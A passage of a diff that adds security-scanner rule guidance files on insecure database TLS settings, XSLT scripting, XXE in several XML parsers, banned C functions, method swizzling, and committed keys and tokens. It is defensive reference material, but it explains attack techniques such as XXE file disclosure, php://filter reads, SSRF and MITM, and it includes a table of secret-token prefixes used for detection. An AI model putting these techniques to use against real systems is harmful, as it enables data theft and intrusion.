`TrustServerCertificate=False`, or `sslmode=verify-full`. -### Severity Considerations -TO DO - put more details on the severity of the issue here. Generally how big of a problem is this, and what makes it more or less of a problem? +## Details +Optional encryption is not encryption. Each of the settings below allows the connection to succeed +without the protection it appears to describe, and none of them produces an error when the +protection is absent: + +* **`Encrypt=False`** (SQL Server) sends the connection, including the credentials used to + authenticate it, in the clear. Anyone positioned on the network path reads them. +* **`TrustServerCertificate=True`** encrypts the channel but accepts any certificate the server + presents. Encryption without authentication stops passive eavesdropping only; an active attacker + presents their own certificate, terminates the connection, and reads and modifies everything. This + is the more dangerous of the two, because it looks secure in configuration and in traffic capture. +* **`sslmode=prefer` or `allow`** (PostgreSQL) attempt TLS and silently fall back to plaintext if + the server does not offer it. An attacker who can influence the handshake simply declines TLS. + `sslmode=require` encrypts but does not verify the certificate or hostname, so it has the same + weakness as `TrustServerCertificate=True`. +* **`SslMode=Preferred` or `None`** (MySQL) and **`useSSL=false`** (JDBC) behave the same way. + +Database connections almost always cross a trust boundary, and they carry credentials on every +connection, so they are a high-value target for interception. + +## Solution + +For SQL Server, require encryption and validate the certificate: + +``` text +Server=db.contoso.com;Database=app;Encrypt=True;TrustServerCertificate=False; +``` + +For PostgreSQL, use the mode that verifies both the chain and the hostname: + +``` text +Host=db.contoso.com;Database=app;sslmode=verify-full +``` + +For MySQL: + +``` text +Server=db.contoso.com;Database=app;SslMode=VerifyFull +``` + +If certificate validation fails, fix the certificate rather than disabling the check. The usual +causes are a hostname mismatch, where the connection string uses an IP address or a short name +instead of the name on the certificate, and a private certificate authority that is not in the +client's trust store. Both are configuration problems with proper fixes; +`TrustServerCertificate=True` is not one of them. + +Prefer a managed identity or another token-based credential where the platform supports it, so that +a compromised connection does not also disclose a reusable password. + +## Severity Considerations + +Raise the severity when the connection crosses a network the application does not control, and when +the credential in the connection string is shared or long-lived. +`TrustServerCertificate=True` should be treated as roughly equivalent to no encryption in the +presence of an active attacker, despite appearing in traffic as an encrypted connection. + +## References + +* [SQL Server: connection string encryption settings](https://learn.microsoft.com/sql/connect/ado-net/connection-string-syntax) +* [PostgreSQL: SSL support and `sslmode`](https://www.postgresql.org/docs/current/libpq-ssl.html) +* [MySQL: connector SSL modes](https://dev.mysql.com/doc/connector-net/en/connector-net-connection-options.html) +* [OWASP: Transport Layer Security Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Security_Cheat_Sheet.html) diff --git a/guidance/DS132781.md b/guidance/DS132781.md new file mode 100644 index 00000000..507617f1 --- /dev/null +++ b/guidance/DS132781.md @@ -0,0 +1,65 @@ +# XSLT Scripting Enabled + +## Summary + +* `XsltSettings.EnableScript` is set to `true`, which allows embedded scripts in an XSLT stylesheet + to execute. +* Leave `EnableScript` disabled unless the stylesheet is fully trusted, and never enable it for a + stylesheet that can be influenced by input. + +## Details + +XSLT stylesheets processed by `System.Xml.Xsl.XslCompiledTransform` may contain `msxsl:script` +blocks holding C#, Visual Basic, or JScript. When `XsltSettings.EnableScript` is `true`, that code +is compiled and executed in the process performing the transform, with the privileges of that +process. + +This makes stylesheet content equivalent to application code. An attacker who can supply or modify a +stylesheet gains arbitrary code execution, not merely control over the shape of the output document. +Stylesheets are frequently treated as configuration or content rather than code, so they are often +sourced from locations with weaker controls than the application binaries: a database column, an +uploaded file, a content management system, or a network share. + +`XsltSettings.TrustedXslt` is a convenience value that enables both scripting and the `document()` +function. It carries the same risk and should be treated the same way. + +The defaults are safe. `XsltSettings.Default` disables both scripting and `document()`, and passing +`null` settings to `XslCompiledTransform.Load` is equivalent. + +## Solution + +Prefer the default settings: + +``` csharp +XslCompiledTransform transform = new XslCompiledTransform(); +transform.Load(stylesheetPath, XsltSettings.Default, new XmlUrlResolver()); +``` + +Where an extension is genuinely required, supply it from application code through an extension +object rather than by enabling scripting in the stylesheet: + +``` csharp +XsltArgumentList arguments = new XsltArgumentList(); +arguments.AddExtensionObject("urn:my-extensions", new MyTrustedExtensions()); +transform.Transform(inputPath, arguments, outputWriter); +``` + +The extension object is compiled with the application, is reviewed with the application, and cannot +be replaced by editing a stylesheet. + +If scripting cannot be avoided, treat the stylesheet as source code: load it only from a path the +application controls, verify its integrity before use, and do not accept stylesheets from users or +from remote locations. + +## Severity Considerations + +Raise the severity when the stylesheet path, contents, or source location can be influenced by user +input or read from a writable location, since that is a direct path to code execution. The finding +can be lowered when the stylesheet is embedded as a compiled resource in the assembly. + +## References + +* [.NET: `XsltSettings.EnableScript`](https://learn.microsoft.com/dotnet/api/system.xml.xsl.xsltsettings.enablescript) +* [.NET: `XsltSettings` class](https://learn.microsoft.com/dotnet/api/system.xml.xsl.xsltsettings) +* [.NET: Script blocks using `msxsl:script`](https://learn.microsoft.com/dotnet/standard/data/xml/script-blocks-using-msxsl-script) +* [.NET: XSLT security considerations](https://learn.microsoft.com/dotnet/standard/data/xml/xslt-security-considerations) diff --git a/guidance/DS132782.md b/guidance/DS132782.md new file mode 100644 index 00000000..e26029eb --- /dev/null +++ b/guidance/DS132782.md @@ -0,0 +1,57 @@ +# Do not enable external entity resolution (.NET DTD processing) + +## Summary + +* `DtdProcessing` is set to `Parse`, or the legacy `ProhibitDtd` property is set to `false`. +* Set `DtdProcessing` to `Prohibit`. ADM.10010's worked example for safe XML deserialization does + exactly this. + +## Details + +Processing a DTD lets the document define entities, and entities are the mechanism behind two +distinct attacks: + +* **External entity resolution (XXE).** A declaration such as + `` makes the parser read a local file and substitute its + contents into the document. If any part of the parsed document is echoed back, the file is + disclosed. Even with no output, the same technique reaches internal network endpoints, giving + server-side request forgery from a parser. +* **Entity expansion (billion laughs).** Nested entity definitions expand exponentially, so a few + kilobytes of XML become gigabytes in memory and the process is killed. No external access is + required, so a parser that resolves no external entities is still affected if DTD processing is + enabled. + +`ProhibitDtd = false` is the .NET Framework 3.5 spelling of the same setting and has the same effect. + +## Solution + +Prohibit DTD processing, and pass the reader rather than the raw stream to the serializer: + +``` csharp +using var reader = XmlReader.Create(stream, new XmlReaderSettings +{ + DtdProcessing = DtdProcessing.Prohibit, + XmlResolver = null +}); + +var person = (Person?)new XmlSerializer(typeof(Person)).Deserialize(reader); +``` + +`DtdProcessing.Ignore` skips the DTD instead of rejecting the document. Use it when documents +legitimately carry a doctype you do not need. `Prohibit` is preferable when a DTD should never +appear, because it fails loudly rather than silently continuing. + +If a DTD genuinely must be processed, keep `XmlResolver` null so that no external reference can be +followed, and impose a limit with `XmlReaderSettings.MaxCharactersFromEntities`. + +## Severity Considerations + +Raise the severity when the XML comes from a request body, an upload, or another service. Lower it +when the input is a file shipped with the application and not writable at runtime. + +## References + +* [.NET: `XmlReaderSettings.DtdProcessing`](https://learn.microsoft.com/dotnet/api/system.xml.xmlreadersettings.dtdprocessing) +* [.NET: XML processing security guidance](https://learn.microsoft.com/dotnet/standard/data/xml/) +* [OWASP: XML External Entity Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html) +* [CWE-611: Improper Restriction of XML External Entity Reference](https://cwe.mitre.org/data/definitions/611.html) diff --git a/guidance/DS132783.md b/guidance/DS132783.md new file mode 100644 index 00000000..61e98a4f --- /dev/null +++ b/guidance/DS132783.md @@ -0,0 +1,60 @@ +# Do not enable external entity resolution (.NET `XmlResolver`) + +## Summary + +* An `XmlResolver` is being assigned to a reader or settings object. +* Set `XmlResolver` to `null`, as ADM.10010's worked example does, unless the parser genuinely has to + follow external references. + +## Details + +The resolver is the component that turns a URI inside an XML document into a stream. Assigning an +`XmlUrlResolver` means the parser will follow references that the document author chose, including: + +* `file://` URIs, which read local files and can disclose their contents, +* `http://` and `https://` URIs, which reach network locations from the server, making the parser a + server-side request forgery primitive against internal services, +* references in a DTD, an `xs:import`, or an `xsl:include`, not only in entity declarations. + +`XmlSecureResolver` is also reported here. It restricts requests using code access security, which +is not enforced on .NET Core or .NET 5 and later, so on modern .NET it provides no protection while +appearing to. It should not be relied on as a mitigation. + +Leaving the property unset is safe on current frameworks, where the default is already null, but +being explicit documents the intent and protects against a future refactor. + +## Solution + +``` csharp +var settings = new XmlReaderSettings +{ + DtdProcessing = DtdProcessing.Prohibit, + XmlResolver = null +}; + +using var reader = XmlReader.Create(stream, settings); +``` + +The same applies to `XmlDocument` and to XSLT: + +``` csharp +var document = new XmlDocument { XmlResolver = null }; +document.Load(reader); +``` + +Where external references are a genuine requirement, do not solve it with a resolver that accepts +arbitrary URIs. Resolve the references yourself from a known set, and pass the resulting content to +the parser as trusted input. + +## Severity Considerations + +Raise the severity when the document is untrusted, since a resolver plus untrusted input is directly +exploitable. Note that this finding matters even when DTD processing is prohibited, because schema +and stylesheet references are resolved through the same mechanism. + +## References + +* [.NET: `XmlReaderSettings.XmlResolver`](https://learn.microsoft.com/dotnet/api/system.xml.xmlreadersettings.xmlresolver) +* [.NET: `XmlSecureResolver`](https://learn.microsoft.com/dotnet/api/system.xml.xmlsecureresolver) +* [OWASP: XML External Entity Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html) +* [CWE-918: Server-Side Request Forgery](https://cwe.mitre.org/data/definitions/918.html) diff --git a/guidance/DS132784.md b/guidance/DS132784.md new file mode 100644 index 00000000..fb396f09 --- /dev/null +++ b/guidance/DS132784.md @@ -0,0 +1,86 @@ +# Do not enable external entity resolution (Java XML factories) + +## Summary + +* A Java XML parser factory is constructed in this file, and none of the features that disable + external entity resolution appear anywhere in it. +* Call `setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)` before parsing + untrusted input. + +## Details + +Java's XML factories resolve external entities by default. `DocumentBuilderFactory`, +`SAXParserFactory`, `XMLInputFactory`, `TransformerFactory` and `SchemaFactory` are all affected, and +the default is unsafe for every one of them. Parsing untrusted XML with a factory straight from +`newInstance()` therefore allows: + +* local file disclosure through ``, +* server-side request forgery, because the parser fetches `http://` URIs from wherever it runs, +* denial of service through recursive entity expansion. + +Unlike .NET, Java has no single safe default to fall back on, so hardening must be written +explicitly at every construction site. + +### What this rule can and cannot tell you + +The rule reports when a factory is constructed and *no* hardening feature is mentioned anywhere in +the file. That keeps it quiet for files that clearly harden their parsers, without needing to +understand which factory instance a given `setFeature` call applies to. + +The consequence is that it under-reports rather than over-reports. A file that hardens one factory +and constructs a second unhardened one will not be flagged, because the hardening is present +somewhere in the file. Treat a clean result as "this file shows evidence of hardening", not as proof +that every parser in it is safe. This is why the finding is raised for manual review. + +## Solution + +The most complete option, when your documents do not need a doctype, is to reject them outright: + +``` java +DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); +factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); +factory.setXIncludeAware(false); +factory.setExpandEntityReferences(false); + +DocumentBuilder builder = factory.newDocumentBuilder(); +``` + +Where a doctype must be permitted, disable the entity resolution instead: + +``` java +factory.setFeature("http://xml.org/sax/features/external-general-entities", false); +factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false); +factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false); +``` + +For `XMLInputFactory` (StAX): + +``` java +XMLInputFactory factory = XMLInputFactory.newInstance(); +factory.setProperty(XMLInputFactory.SUPPORT_DTD, false); +factory.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false); +``` + +For `TransformerFactory` and `SchemaFactory`, restrict external access: + +``` java +TransformerFactory factory = TransformerFactory.newInstance(); +factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true); +factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); +factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, ""); +``` + +Prefer building the hardened factory once in a helper and using it everywhere, rather than repeating +the configuration at each call site where it can be forgotten. + +## Severity Considerations + +Raise the severity when the parsed document arrives from a request, a queue, or an upload. Lower it +when the factory only ever reads files that ship with the application. + +## References + +* [OWASP: XXE Prevention Cheat Sheet — Java](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html#java) +* [Java: `XMLConstants.FEATURE_SECURE_PROCESSING`](https://docs.oracle.com/javase/8/docs/api/javax/xml/XMLConstants.html) +* [Xerces: `disallow-doctype-decl` feature](https://xerces.apache.org/xerces2-j/features.html) +* [CWE-611: Improper Restriction of XML External Entity Reference](https://cwe.mitre.org/data/definitions/611.html) diff --git a/guidance/DS132785.md b/guidance/DS132785.md new file mode 100644 index 00000000..9ede321b --- /dev/null +++ b/guidance/DS132785.md @@ -0,0 +1,57 @@ +# Do not enable external entity resolution (PHP libxml) + +## Summary + +* `libxml_disable_entity_loader(false)` or the `LIBXML_NOENT` option was detected. +* Leave the external entity loader disabled and do not pass `LIBXML_NOENT`. + +## Details + +PHP's XML functions are built on libxml2. Two settings re-enable entity processing: + +* **`libxml_disable_entity_loader(false)`** turns the external entity loader back on for the rest of + the request, affecting every subsequent parse, not just the next one. A document can then declare + `` and read local files, or use `php://filter` to read and + base64-encode a source file so it survives being embedded in XML. +* **`LIBXML_NOENT`** is misleadingly named. It does not mean "no entities"; it means substitute + entities, which is precisely the behaviour that makes XXE work. It is a common mistake to pass it + believing it hardens the parse. + +From libxml2 2.9 the loader is disabled by default, so the disabling call is usually unnecessary and +its presence normally means someone re-enabled the loader deliberately to make a document parse. + +## Solution + +Remove the call and the option: + +``` php +$document = simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NONET); +``` + +`LIBXML_NONET` disables network access during parsing and is the option you usually want. Combine it +with an explicit check when the input is untrusted: + +``` php +$previous = libxml_use_internal_errors(true); +$document = simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NONET); +if ($document === false) { + // handle the parse failure rather than continuing with partial data +} +libxml_use_internal_errors($previous); +``` + +If a document genuinely requires entity substitution, do it for that parse only, restore the +previous state immediately afterwards, and never do it for input that crosses a trust boundary. + +## Severity Considerations + +Raise the severity when the parsed XML comes from a request body, an upload, or a SOAP endpoint. +`libxml_disable_entity_loader(false)` is the more serious of the two because its effect persists for +the remainder of the request and reaches parses elsewhere in the codebase. + +## References + +* [PHP: `libxml_disable_entity_loader`](https://www.php.net/manual/en/function.libxml-disable-entity-loader.php) +* [PHP: libxml constants](https://www.php.net/manual/en/libxml.constants.php) +* [OWASP: XXE Prevention Cheat Sheet — PHP](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html#php) +* [CWE-611: Improper Restriction of XML External Entity Reference](https://cwe.mitre.org/data/definitions/611.html) diff --git a/guidance/DS132786.md b/guidance/DS132786.md new file mode 100644 index 00000000..53a5b1b9 --- /dev/null +++ b/guidance/DS132786.md @@ -0,0 +1,72 @@ +# Do not enable external entity resolution (Python lxml) + +## Summary + +* An `lxml` parser is being configured with entity resolution, DTD loading, or network access + enabled. +* Construct the parser with `resolve_entities=False`, `load_dtd=False` and `no_network=True`. + +## Details + +`lxml.etree.XMLParser` accepts several options that control how much of a document's own +instructions the parser will follow: + +* **`resolve_entities=True`** substitutes entity declarations, which is the mechanism behind XML + external entity attacks. It is enabled by default, so a parser constructed with no arguments + resolves entities. +* **`load_dtd=True`** reads the document's DTD, which enables both entity expansion and any + parameter entities it declares. +* **`no_network=False`** allows the parser to fetch remote resources, turning a parse into an + outbound request chosen by the document author. + +The consequences are local file disclosure, server-side request forgery, and memory exhaustion +through recursive entity expansion. + +This rule reports each explicitly unsafe option: `resolve_entities=True`, `load_dtd=True`, and +`no_network=False`. A safe option on the same constructor does not cancel an unsafe one, so +`XMLParser(resolve_entities=False, load_dtd=True)` is still reported for review. Line breaks do not +change whether a setting is reported. + +## Solution + +Configure the parser explicitly: + +``` python +from lxml import etree + +parser = etree.XMLParser( + resolve_entities=False, + load_dtd=False, + no_network=True, +) + +tree = etree.parse(source, parser) +``` + +Note that the parser must be passed to the parse call. `etree.parse(source)` without it uses default +settings, which resolve entities. + +For untrusted input, consider `defusedxml`, which wraps the standard library and lxml with safe +defaults and raises on entity declarations rather than processing them: + +``` python +from defusedxml.lxml import parse + +tree = parse(source) +``` + +The standard library's `xml.etree.ElementTree` does not resolve external entities, but it remains +vulnerable to entity expansion, so it is not a complete answer on its own. + +## Severity Considerations + +Raise the severity when the document is untrusted and `resolve_entities` is enabled together with +network access, since that combination is directly exploitable. Setting `load_dtd=True` alone on a +document you control is a lower concern. + +## References + +* [lxml: parser options](https://lxml.de/api/lxml.etree.XMLParser-class.html) +* [lxml FAQ: security considerations](https://lxml.de/FAQ.html) +* [defusedxml](https://pypi.org/project/defusedxml/) +* [CWE-611: Improper Restriction of XML External Entity Reference](https://cwe.mitre.org/data/definitions/611.html) diff --git a/guidance/DS154190.md b/guidance/DS154190.md new file mode 100644 index 00000000..f8dbaf15 --- /dev/null +++ b/guidance/DS154190.md @@ -0,0 +1,65 @@ +# Banned Pointer Validation Function (IsBad*Ptr) + +## Summary + +* A member of the `IsBadWritePtr` / `IsBadReadPtr` family was detected. +* Remove the call. These functions cannot do what their names suggest, and using them can introduce + the very crashes they appear to prevent. + +## Details + +The `IsBad*Ptr` family attempts to determine whether a pointer is usable by dereferencing it inside a +structured exception handler and reporting whether an access violation occurred. That approach is +unsound for three separate reasons: + +* **It corrupts stack guard pages.** When the probed address falls on the guard page of a thread's + stack, the function catches the guard page exception that Windows uses to grow the stack. The + guard page is not re-armed, so the stack cannot grow later and the thread faults at a point far + from this call. +* **The answer is stale immediately.** Validity is a property of the moment of the check. Another + thread can unmap the region, or the memory can be freed, between the check and the use. +* **It converts defects into corruption.** A caller passing a wrong-but-mapped pointer, such as one + pointing into an unrelated live allocation, is reported as valid. The function then reads or + writes the wrong object silently instead of failing loudly. + +Microsoft's own documentation recommends against these functions for these reasons. + +## Solution + +Delete the check and let an invalid pointer fault at the point of use, where the crash dump names the +real defect: + +``` c +HRESULT Copy(const BYTE* src, size_t cb, BYTE* dest, size_t destSize) +{ + if (src == nullptr || dest == nullptr) + { + return E_POINTER; + } + if (cb > destSize) + { + return E_INVALIDARG; + } + + memcpy_s(dest, destSize, src, cb); + return S_OK; +} +``` + +Where the pointer crosses a trust boundary, validate by contract rather than by probing: require the +caller to pass an explicit length, use a type that carries its own bounds, or copy the data into +memory you own before using it. For pointers arriving from another process, the correct tools are +the marshalling layer or `VirtualQuery` on a region you then treat as untrusted, not a probe of an +individual address. + +## Severity Considerations + +Raise the severity when the call probes a buffer supplied by another process or by user input, since +the result is being used as a security decision that it cannot support. The finding stands even in +code that appears to work today, because the guard page problem is intermittent and load dependent. + +## References + +* [Windows: `IsBadWritePtr`](https://learn.microsoft.com/windows/win32/api/memoryapi/nf-memoryapi-isbadwriteptr) +* [Windows: `IsBadReadPtr`](https://learn.microsoft.com/windows/win32/api/memoryapi/nf-memoryapi-isbadreadptr) +* [Microsoft SDL: Banned function calls](https://learn.microsoft.com/previous-versions/bb288454(v=msdn.10)) diff --git a/guidance/DS154191.md b/guidance/DS154191.md new file mode 100644 index 00000000..e98f172e --- /dev/null +++ b/guidance/DS154191.md @@ -0,0 +1,66 @@ +# Banned Unbounded Memory Copy + +## Summary + +* `CopyMemory` or `RtlCopyMemory`, the Windows aliases for `memcpy`, was detected. Plain `memcpy` is + reported separately by `DS121708`. +* Use `memcpy_s`, or another copy that is told the size of the destination buffer. + +## Details + +`memcpy` copies exactly the number of bytes it is given, with no knowledge of how large the +destination is. The call overflows the destination whenever that byte count exceeds it, and none of +the following causes is diagnosed at the call site: + +* the length is computed from the *source* rather than the destination, +* the length is attacker-influenced and not validated, +* the destination was resized, or is a different type, since the call was written, +* an arithmetic expression producing the length overflows and wraps to a small value. + +`CopyMemory` and `RtlCopyMemory` are macros over the same operation and carry the same risk. + +This finding is reported at moderate severity because a bounded, correct `memcpy` is common and +legitimate. It is a prompt to confirm that the length can never exceed the destination, not an +assertion that the call is wrong. + +## Solution + +Prefer the bounds-checked form, which takes the destination size as a separate argument: + +``` c +memcpy_s(dest, sizeof(dest), src, cb); +``` + +In C++, prefer a container or view that carries its own size, so the bound cannot drift away from +the buffer it describes: + +``` cpp +std::copy_n(src.begin(), count, dest.begin()); +``` + +Where the bounded variants are unavailable, validate explicitly and keep the check adjacent to the +copy: + +``` c +if (cb > destSize) +{ + return E_INVALIDARG; +} +memcpy(dest, src, cb); +``` + +Take particular care with lengths derived from arithmetic. Check for overflow before the copy rather +than trusting that the expression is small. + +## Severity Considerations + +Raise the severity when the length is derived from parsed input, a file header, or a network message, +since those are directly attacker-controlled. The finding can be lowered when both buffers are +fixed-size arrays in the same scope and the length is a compile-time constant. + +## References + +* [C11 Annex K: `memcpy_s`](https://en.cppreference.com/w/c/string/byte/memcpy) +* [Windows: `CopyMemory`](https://learn.microsoft.com/windows/win32/api/winbase/nf-winbase-copymemory) +* [Microsoft SDL: Banned function calls](https://learn.microsoft.com/previous-versions/bb288454(v=msdn.10)) +* [CWE-120: Buffer Copy without Checking Size of Input](https://cwe.mitre.org/data/definitions/120.html) diff --git a/guidance/DS154192.md b/guidance/DS154192.md new file mode 100644 index 00000000..dbb3f868 --- /dev/null +++ b/guidance/DS154192.md @@ -0,0 +1,68 @@ +# Banned Unbounded String Length Function + +## Summary + +* `strlen`, `wcslen`, `_tcslen` or `lstrlen` was detected. +* Use `strnlen_s` or `wcsnlen_s`, which stop at a caller-supplied maximum. + +## Details + +These functions scan forward from the pointer they are given until they find a null terminator. They +have no knowledge of the allocation's size, so if the buffer is not terminated within its bounds the +scan continues into adjacent memory. The result is an over-read that either returns a length larger +than the buffer, which then propagates into a subsequent copy, or faults on an unmapped page. + +Unterminated buffers are common in practice: + +* data read from a file, socket, or shared memory that was truncated, +* a fixed-size array filled exactly to capacity by `strncpy`, which does not terminate when the + source is at least as long as the destination, +* a struct field treated as a string but defined as a byte array. + +`lstrlen` additionally swallows access violations and returns zero, which converts a detectable +crash into a silent wrong answer. + +This is reported as a best-practice finding rather than a defect: `strlen` on a string literal or on +a buffer you just terminated yourself is correct. The finding is asking you to confirm that the +input is always terminated within its allocation. + +## Solution + +Use the bounded form and pass the size of the buffer: + +``` c +size_t n = strnlen_s(input, sizeof(input)); +``` + +On platforms without Annex K, `strnlen` is widely available and takes the same maximum: + +``` c +size_t n = strnlen(input, sizeof(input)); +``` + +In C++, prefer a type that carries its length so the question does not arise: + +``` cpp +std::string_view name{buffer, bufferLength}; +auto n = name.size(); +``` + +When data arrives from outside the program, terminate it explicitly on arrival rather than assuming +the producer did: + +``` c +buffer[sizeof(buffer) - 1] = '\0'; +``` + +## Severity Considerations + +Raise the severity when the argument comes from a file, a network message, or another process, +since those buffers are the ones most likely to be unterminated. The finding is not interesting for a +string literal or a buffer terminated a few lines earlier in the same function. + +## References + +* [C11 Annex K: `strnlen_s`](https://en.cppreference.com/w/c/string/byte/strlen) +* [Windows: `lstrlen`](https://learn.microsoft.com/windows/win32/api/winbase/nf-winbase-lstrlenw) +* [Microsoft SDL: Banned function calls](https://learn.microsoft.com/previous-versions/bb288454(v=msdn.10)) +* [CWE-125: Out-of-bounds Read](https://cwe.mitre.org/data/definitions/125.html) diff --git a/guidance/DS154193.md b/guidance/DS154193.md new file mode 100644 index 00000000..51c6c8b1 --- /dev/null +++ b/guidance/DS154193.md @@ -0,0 +1,86 @@ +# Objective-C Method Swizzling + +## Summary + +* `class_addMethod` or `class_replaceMethod` was detected. +* Prefer subclassing, a category that adds behaviour, or an explicit delegate. Swizzling should be a + deliberate, reviewed decision rather than a convenience. + +## Details + +These functions modify a class's method table at runtime, so a selector begins resolving to a +different implementation for every caller in the process, including code in frameworks and third +party libraries that has no knowledge of the change. + +The security-relevant properties are: + +* **The result depends on load order.** Two components that swizzle the same selector produce + different behaviour depending on which ran first, and that order can change between builds. + Swizzling a security check is therefore not reliably in effect. +* **The change is invisible at the call site.** Reading the calling code gives no indication that the + method it invokes has been replaced, so review and static analysis of the caller are misleading. +* **Replacement can drop the original.** `class_replaceMethod` returns the previous implementation. + Failing to capture and chain it silently removes whatever the original did, including validation + or state maintenance that other code depends on. + +The SDL lists both functions as banned for these reasons, not because either is a vulnerability in +itself. This rule reports for manual review so the decision is recorded and justified. + +## Solution + +Prefer a subclass when you control instantiation: + +``` objc +@interface AuditedURLSession : NSURLSession +@end + +@implementation AuditedURLSession +- (NSURLSessionDataTask *)dataTaskWithRequest:(NSURLRequest *)request +{ + [self recordRequest:request]; + return [super dataTaskWithRequest:request]; +} +@end +``` + +Prefer a category that *adds* a new selector when you only need extra behaviour, since it cannot +displace anything: + +``` objc +@interface NSString (Validation) +- (BOOL)isValidAccountIdentifier; +@end +``` + +Where swizzling genuinely cannot be avoided, perform it once in `+load`, capture the previous +implementation, and always chain to it: + +``` objc ++ (void)load +{ + static dispatch_once_t onceToken; + dispatch_once(&onceToken, ^{ + Method original = class_getInstanceMethod(self, @selector(viewDidAppear:)); + IMP previous = method_getImplementation(original); + method_setImplementation(original, imp_implementationWithBlock(^(id self, BOOL animated) { + [Telemetry recordAppearance:self]; + ((void (*)(id, SEL, BOOL))previous)(self, @selector(viewDidAppear:), animated); + })); + }); +} +``` + +Never swizzle a method that performs a security check, such as certificate validation or an +authorization decision. Order dependence means the check cannot be guaranteed to run. + +## Severity Considerations + +Raise the severity when the swizzled selector participates in authentication, authorization, +cryptography, or transport security, and when the original implementation is not chained. Swizzling +confined to diagnostics or telemetry in a debug-only build is a lower concern. + +## References + +* [Apple: `class_replaceMethod`](https://developer.apple.com/documentation/objectivec/1418677-class_replacemethod) +* [Apple: `class_addMethod`](https://developer.apple.com/documentation/objectivec/1418901-class_addmethod) +* [Apple: Objective-C Runtime Programming Guide](https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/ObjCRuntimeGuide/Introduction/Introduction.html) diff --git a/guidance/DS173238.md b/guidance/DS173238.md new file mode 100644 index 00000000..af925ede --- /dev/null +++ b/guidance/DS173238.md @@ -0,0 +1,66 @@ +# Private Key Material Committed to Source + +## Summary + +* A PEM-encoded private key block is present in source. +* Remove it, rotate the key, and load the replacement from Key Vault or the platform certificate + store at runtime. + +## Details + +A private key in a repository must be treated as already compromised, regardless of how private the +repository is: + +* **Everyone with read access has it.** That is usually a much larger group than the one entitled to + the key, and it includes anyone who has ever had access, since they may still hold a clone. +* **Deleting it does not remove it.** The blob stays in git history and remains reachable by commit + hash. It is present in every clone, every fork, and every backup taken since. +* **It spreads automatically.** CI caches, container image layers, and build artifacts all copy the + working tree. + +What the key controls determines the impact. A TLS server key allows impersonation of the service +and decryption of captured traffic where forward secrecy is not in use. An SSH key grants whatever +access it was authorised for. A signing key allows an attacker to produce artifacts your systems +will accept as genuine, which is the most serious case because it undermines the trust decisions +made downstream. + +## Solution + +Rotation comes first. Removing the file does not reduce risk, because the key is already +distributed. + +1. Issue a new key and deploy it. +2. Revoke the old one, and revoke any certificates issued against it. +3. Remove the material from source. Purging history is worth doing, but treat it as cleanup rather + than remediation. + +Then obtain the key at runtime instead of storing it: + +``` csharp +var client = new SecretClient(new Uri(keyVaultUri), new DefaultAzureCredential()); +KeyVaultSecret secret = await client.GetSecretAsync("service-signing-key"); +``` + +Better still, use a key that never leaves its store, so there is no material to leak: + +``` csharp +var cryptoClient = new CryptographyClient(keyId, new DefaultAzureCredential()); +SignResult result = await cryptoClient.SignDataAsync(SignatureAlgorithm.RS256, payload); +``` + +For test fixtures that genuinely need a key pair, generate one at test setup rather than committing +a fixed key, so there is nothing to mistake for a live credential. + +## Severity Considerations + +Reported as critical. Raise it further for a signing key or a certificate authority key, where the +consequence is forged artifacts rather than access to one system. A key generated inside a test that +never leaves memory is not a finding; a key file checked in "only for tests" is, because nothing +prevents it being used elsewhere. + +## References + +* [Azure Key Vault: about keys](https://learn.microsoft.com/azure/key-vault/keys/about-keys) +* [Azure: DefaultAzureCredential](https://learn.microsoft.com/dotnet/azure/sdk/authentication/credential-chains) +* [GitHub: removing sensitive data from a repository](https://docs.github.com/code-security/getting-started/removing-sensitive-data-from-a-repository) +* [CWE-321: Use of Hard-coded Cryptographic Key](https://cwe.mitre.org/data/definitions/321.html) diff --git a/guidance/DS173239.md b/guidance/DS173239.md new file mode 100644 index 00000000..35eabe03 --- /dev/null +++ b/guidance/DS173239.md @@ -0,0 +1,75 @@ +# Provider Access Token Committed to Source + +## Summary + +* A token matching a well-known provider format is present in source. +* Rotate it now, then read credentials at runtime from Key Vault or a managed identity. + +## Details + +The prefixes matched here are assigned by the issuing provider and are not produced by ordinary +code, so a match is almost always a real credential rather than a coincidence: + +| Prefix | Provider | +|---|---| +| `ghp_`, `gho_`, `ghu_`, `ghs_`, `ghr_`, `github_pat_` | GitHub personal access and app tokens | +| `aws_secret_access_key`, `SecretAccessKey` assignment | AWS secret access key (an `AKIA` key ID alone is not a credential and is not reported) | +| `AIza` | Google API key | +| `xoxb-`, `xoxp-`, `xoxa-`, `xoxr-`, `xoxs-` | Slack | +| `sk_live_`, `rk_live_` | Stripe live secret keys | +| `npm_` | npm automation token | +| `SG.` | SendGrid | +| `glpat-` | GitLab personal access token | + +A committed token is disclosed to everyone with repository access and stays in git history after +deletion. Automated scrapers watch public repositories and public forks specifically for these +prefixes, and tokens have been observed in use within minutes of being pushed. + +The blast radius is often wider than the author expected. A GitHub PAT typically carries `repo` +scope across every repository the user can reach, not just this one. An npm automation token can +publish, which makes it a supply chain compromise rather than a single-repository one. + +## Solution + +Rotate first. Removing the line does not help, because the token is already distributed. + +1. Revoke the token at the provider. +2. Issue a replacement with the narrowest scope and shortest lifetime that works. +3. Store it outside source and read it at runtime. + +Prefer an identity with no secret at all where the platform offers one: + +``` csharp +var client = new SecretClient(new Uri(keyVaultUri), new DefaultAzureCredential()); +``` + +In CI, use the workflow's own short-lived token or OIDC federation rather than a stored PAT: + +``` yaml 